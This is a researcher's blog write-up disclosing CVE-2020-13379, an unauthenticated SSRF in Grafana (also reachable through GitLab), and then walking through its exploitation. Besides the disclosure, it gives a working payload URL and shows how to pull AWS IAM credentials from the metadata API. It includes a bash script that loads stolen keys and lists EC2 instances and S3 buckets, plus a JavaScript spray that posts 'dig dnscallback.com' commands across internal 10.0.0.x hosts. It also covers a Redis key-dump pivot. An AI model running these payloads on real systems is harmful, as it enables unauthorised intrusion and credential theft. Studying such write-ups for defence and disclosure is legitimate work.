While doing some security research on Grafana for bug bounty, I discovered that by chaining together some redirects and a URL Parameter Injection bug, it is possible to achieve a full-read, unauthenticated, SSRF on any Grafana instance ranging from version 3.0.1 - 7.0.1. The Grafana advisory for this bug can be found here. In this blog post I’ll walk the reader through CVE-2020-13379’s discovery and exploitation.
On August 1st of 2020, I gave a talk about this vulnerability at HackerOne’s HacktivityCon. The slides for this talk can be found here.
CVE-2020-13379
The following route is defined on line 423 of the Grafana api.go file:
r.Get("/avatar/:hash", avatarCacheServer.Handler)
This route takes the hash from under /avatar/:hash and routes it to secure.grafana.com in order to access a user’s gravatar image. The code that does this looks like this:
const (
gravatarSource = "https://secure.gravatar.com/avatar/"
)
...
case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):
The this.hash referenced in this code is the hash passed in via /avatar/:hash URL Decoded. The fact that this :hash is URL Decoded allows us to smuggle in our own parameters into this request resulting in URL Parameter Injection. On secure.gravatar.com, if one supplies the d parameter, it allows for redirection to i0.wp.com where some of the images are hosted. This is the first redirect in the redirect chain.
In order to get from i0.wp.com to any arbitrary host, quite a lot of investigation into this domain had to be performed. In the end, the open redirect was achieved due to an improper regex used in redirect host validation. The format of urls on i0.wp.com are as follows i0.wp.com/{domainOfImage}/{pathOfImage}. It seems that i0.wp.com wanted to offload some of its image hosting to .bp.blogspot.com whenever possible, so for any host whose domain was *.bp.blogspot.com, i0.wp.com would redirect to that host in order to avoid serving the image. However, after many long hours of investigation, it was discovered that it is possible to turn this into an open redirect using the following form:
http://i0.wp.com/google.com%3f%3b/1.bp.blogspot.com/
By using this trick it is possible to create a backend redirection chain that looks like this:
https://grafanaHost/avatar/test%3fd%3dgoogle.com%25253f%253b%252fbp.blogspot.com
Grafana takes the string test%3fd%3dgoogle.com%25253f%253b%252fbp.blogspot.com as the :hash.
https://secure.gravatar.com/avatar/anything?d=google.com%253f%3b/1.bp.blogspot.com/
Using the d parameter, a redirect is performed to i0.wp.com.
http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/
The weak regex in i0.wp.com leads to an open redirect which is pointed at google.com
https://google.com?;/1.bp.blogspot.com
The following code then adds the Content-Type: image/jpeg header and returns the response:
...
if avatar.Expired() {
// The cache item is either expired or newly created, update it from the server
if err := avatar.Update(); err != nil {
log.Trace("avatar update error: %v", err)
avatar = this.notFound
}
}
if avatar.notFound {
avatar = this.notFound
} else if !exists {
if err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {
log.Trace("Error adding avatar to cache: %s", err)
}
}
ctx.Resp.Header().Add("Content-Type", "image/jpeg")
if !setting.EnableGzip {
ctx.Resp.Header().Add("Content-Length", strconv.Itoa(len(avatar.data.Bytes())))
}
ctx.Resp.Header().Add("Cache-Control", "private, max-age=3600")
if err := avatar.Encode(ctx.Resp); err != nil {
log.Warn("avatar encode error: %v", err)
ctx.WriteHeader(500)
}
Finally, using all of this together, it is possible to execute the SSRF using the following payload:
https://grafanaHost/avatar/test%3fd%3dredirect.rhynorater.com%25253f%253b%252fbp.blogspot.com%252fYOURHOSTHERE
This bug affects not only Grafana instances, but also Gitlab instances (under the /-/grafana path) and SourceTree instances (under the /-/debug/grafana/ path).
Exploitation
As noted in my talk at HackerOne’s HacktivityCon, there are several interesting features/pivots that are possible by using this bug. The following section will be used to talk about these pivots and how to use them to increase the impact of CVE-2020-13379.
AWS/Cloud Metadata APIs
One of the best targets for the modern SSRF vulnerabilities found in cloud hosted software is the Cloud Metadata APIs. The most powerful of these APIs is the AWS Metadata API. This api allows for an attacker to retrieve the IAM credentials attached to the vulnerable EC2 instance and pivot into the organization’s internal network. This is a well known technique and has even been used in large scale breaches in the past.
As an attacker, the endpoints you will want to focus on are the following:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
This endpoint will allow you to extract the IAM credentials from the AWS Metadata API. The credentials look like this:
{
"Code" : "Success",
"LastUpdated" : "2019-08-15T18:13:44Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAN0P3n0W4y1nv4L1d",
"SecretAccessKey" : "A5tGuw2QXjmqu8cTEu1zs0Dw8yt905HDCzrF0AdE",
"Token" : "AgoJb3JpZ2luX2VjEJv//////////wEaCXVzLWVhc3QtMSJHMEUCIEX46oh4kz6AtBiTfvoHGqfVuHJI29ryAZy/wXyR51SAiEA04Pyw9HSwSIRNx6vmYpqm7sD+DkLQiFzajuwI2aLEp4q8gMIMxABGgwzNjY4OTY1NTU5NDkiDOBEJDdUKxKUkgkhGyrPA7u8oSds5hcIM0EeoHvgxvCX/ChiDsuCEFO1ctMpOgaQuunsvKLzuaTp/86V96iZzuoPLnpHHsmIUTrCcwwGqFzyaqvJpsFWdv89YIhARAMlcQ1Cc9Cs4pTBSYc/BvbEFb1z0xWqPlBNVKLMzm2K5409f/KCK/eJsxp530Zt7a1MEBp/rvceyiA5gg+6hOu65Um+4BNT+CjlEk3gwL6JUUWr9a2LKYxmyR4fc7XtLD2zB0jwdnG+EPv7aDPj7EoWMUoR/dOQav/oSHi7bl6+kT+koKzwhU/Q286qsk0kXMfG/U95TdUr70I3b/L/dhyaudpLENSU7uvPFi8qGVGpnCuZCvGL2JVSnzf8327jyuiTF7GvXlvUTh8bjxnZ8pAhqyyuxEW1tosL2NuqRHmlCCfnE3wLXJ0yBUr7uxMHTfL1gueEWghymIGhAxiYIKA9PPiHCDrn4gl5AGmLyzqxenZgcNnuwMjeTnhQ0mVf7L8PR4ZWRo9h3C1wMbYnYNi5rdfQcByMIN/XoR2J74sBPor/aObMMHVnmpNjbtRgKh0Vpi48VgXhXfuCAHka3rbYeOBYC8z8nUWYJKuxv3Nj0cQxXDnYT6LPPXmtHgZaBSUwxMHW6gU6tAHi8OEjskLZG81wLq1DiLbdPJilNrv5RPn3bBF+QkkB+URAQ8NBZA/z8mNnDfvESS44fMGFsfTIvIdANcihZQLo6VYvECV8Vw/QaLP/GbljKPwztRC5HSPe6WrC06LZS9yeTpVGZ6jFIn1O/01hJOgEwsK7+DDwcXtE5qtOynmOJiY/iUjcz79LWh184My58ueCNxJuzIM9Tbn0sH3l1eBxECTihDNbL13v5g+8ENaih+f3rNU=",
"Expiration" : "2019-08-16T00:33:31Z"
}
By feeding a JSON blob like the one above into the following script via STDIN, one can load the credentials, validate their function, and extract which EC2 Instances and S3 Buckets the IAM credentials have access to. Futher validation of credentials should be done if this does not suffice to prove impact. I recommend using Scout2 by NCCGroup, but definitely get permission from the target program first as this can be quite noisy and result in incident response and/or a LOT of key rotation.
#!/bin/bash
out=$(cat -)
export AWS_ACCESS_KEY_ID=$(echo $out | jq .AccessKeyId | sed 's/"//g' )
export AWS_SECRET_ACCESS_KEY=$(echo $out | jq .SecretAccessKey | sed 's/"//g')
export AWS_DEFAULT_REGION=us-east-1
export AWS_SESSION_TOKEN=$(echo $out | jq .Token | sed 's/"//g')
echo "Profile loaded!"
aws sts get-caller-identity
aws ec2 describe-instances > ec2Instances.txt
echo "EC2 Instances outputted to \"ec2Instances.txt\"!"
aws s3api list-buckets > s3Buckets.txt
echo "S3 Buckets outputted to \"s3Buckets.txt\"!"
http://169.254.169.254/latest/user-data
This endpoint will often kick back a lot of juicy information. While the AWS Documentation specifically warns not to store secrets in this location, I’ve found K8S Secrets, IAM Credentials, SSL Certificates, GitHub Credentials, and much more in this location in the past. More information about this endpoint can be found in the AWS Documentation here: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-add-user-data.html
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
This is a last-resort endpoint which I’ve recently done some research on. You can find more information about the IAM credentials returned from this endpoint in my blog post on AWS Metadata Identity Credentials.
Image Render - Blind SSRF
By using an internal image render which is often present in Grafana instances, it is possible for an attacker to load an arbitrarily provided HTML page to an internal headless Google Chrome instance with an arbitrarily provided timeout value. This allows an attacker to do a very efficient spray of one-shot RCEs into the internal network.
Using the internal SSRF achieved from CVE-2020-13379, one might proceed to do a port scan of the localhost. On some arbitrary internal port (often 3001), there may be a service which returns the following string from a request to /:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 22
ETag: W/"16-NipK4Bud1bhsozqKdmj9bWnwGTg"
Date: Wed, 29 Jul 2020 11:21:31 GMT
Connection: keep-alive
Grafana Image Renderer
If this is the case, one can render an arbitrary HTML page via this service using the endpoint localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30. By creating a HTML file like the one below, it is fast and efficient to spray exploits internally to try to escalate to RCE:
<script>
async function postData(url = '', data = {}) {
const response = await fetch(url, {
method: 'POST',
mode: 'no-cors',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
return response.json();
}
for (var i = 0; i < 255; i++){
postData('http://10.0.0.'+i+'/oneshotrce', { cmd: 'dig dnscallback.com' })
}
</script>
Gitlab Prometheus Redis Exporter
As previously mentioned, this vulnerability also affects Gitlab instances before version 13.1.1. According to the Gitlab documentation Prometheus and its exporters are on by default, starting with GitLab 9.0. These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter. The endpoint http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=* will allow an attacker to dump all the keys in the redis server provided via the target parameter.
Thanks to Corb3nik and Teknogeek for help with this escalation!
Internal Pivot: Image-Only SSRF -> Full-Read SSRF Chain
As we can see on line 104 of the avatar.go file, the response content type for this SSRF is image/jpeg. This provides us with a unique opportunity to use this bug in an exploit chain with other bugs. Consider the following scenario:
example.com/fetchImage.php?image=http://localhost/image.png
The code in fetchImage.php sends an HTTP request to the target location, checks if the content type is image/jpeg, and if it is, returns the content. If an attacker could then identify an internal Grafana instance vulnerable to CVE-2020-13379, an attacker would be able to craft a full read SSRF like this:
example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254
Since the content returned will be image/jpeg, it will pass the content-type check. This results in an image-only SSRF being converted into full read SSRF. It is also possible to trick file extension checks as well since attacker-controlled redirection occurs within the Grafana exploit.
Conclusion
In conclusion, this vulnerability was not immensely complex, with its most interesting feature being the URL Parameter Smuggling vulnerability that occured when the :hash from the API route was concatenated with an internal HTTP request. Regardless, the impact of the bug is quite high and it is a very reliable vulnerability. My takeaways from this experience of finding CVE-2020-13379 are as follows:
- When performing source code analysis for the purpose of bug bounty, it helps to focus first on unauthenticated routes, then move to authentication bypasses.
- When one finds an interesting functionality in an open source application, it makes sense to spend more time on it than an interesting functionality discovered in a black box assessment. You have more data and thus your “vuln sniffer” is better informed.
- Zero-day hunting can be quite exciting and lucrative.
- Some companies do not pay for 0-days. Know which ones do and which ones don’t. Allow the ones that do not pay 30 days to patch before reporting the bug.
- When done with one’s own recon for a vulnerability, hand the vuln off to trusted friends for further exploitation.
- Have a report templating system (see https://github.com/rhynorater/reports)
Addendum on 0-Day Hunting
There has been some discussion within the bug bounty community about the ethics(?) of 0-day hunting for the purpose of bug bounty. Some people would assert that bug hunters should not find 0-days and proceed to report these to bug bounty programs without allowing a patch cycle to pass. My response to this argument is simply this: no one but the companies, and on some occasions the bug bounty platforms, should define which vulnerabilities should receive a bounty. I personally think it is reasonable for a company to desire “inside intel” on high/critical vulnerabilities which affect their external attack surface before this information gets turned into a CVE or a patch which can be easily reversed. I also think it is reasonable that companies request a patch cycle before being required to pay for a vulnerability. Either way, it is up to the companies to decide, and this stance should be clearly defined in their policy.
Q.E.D.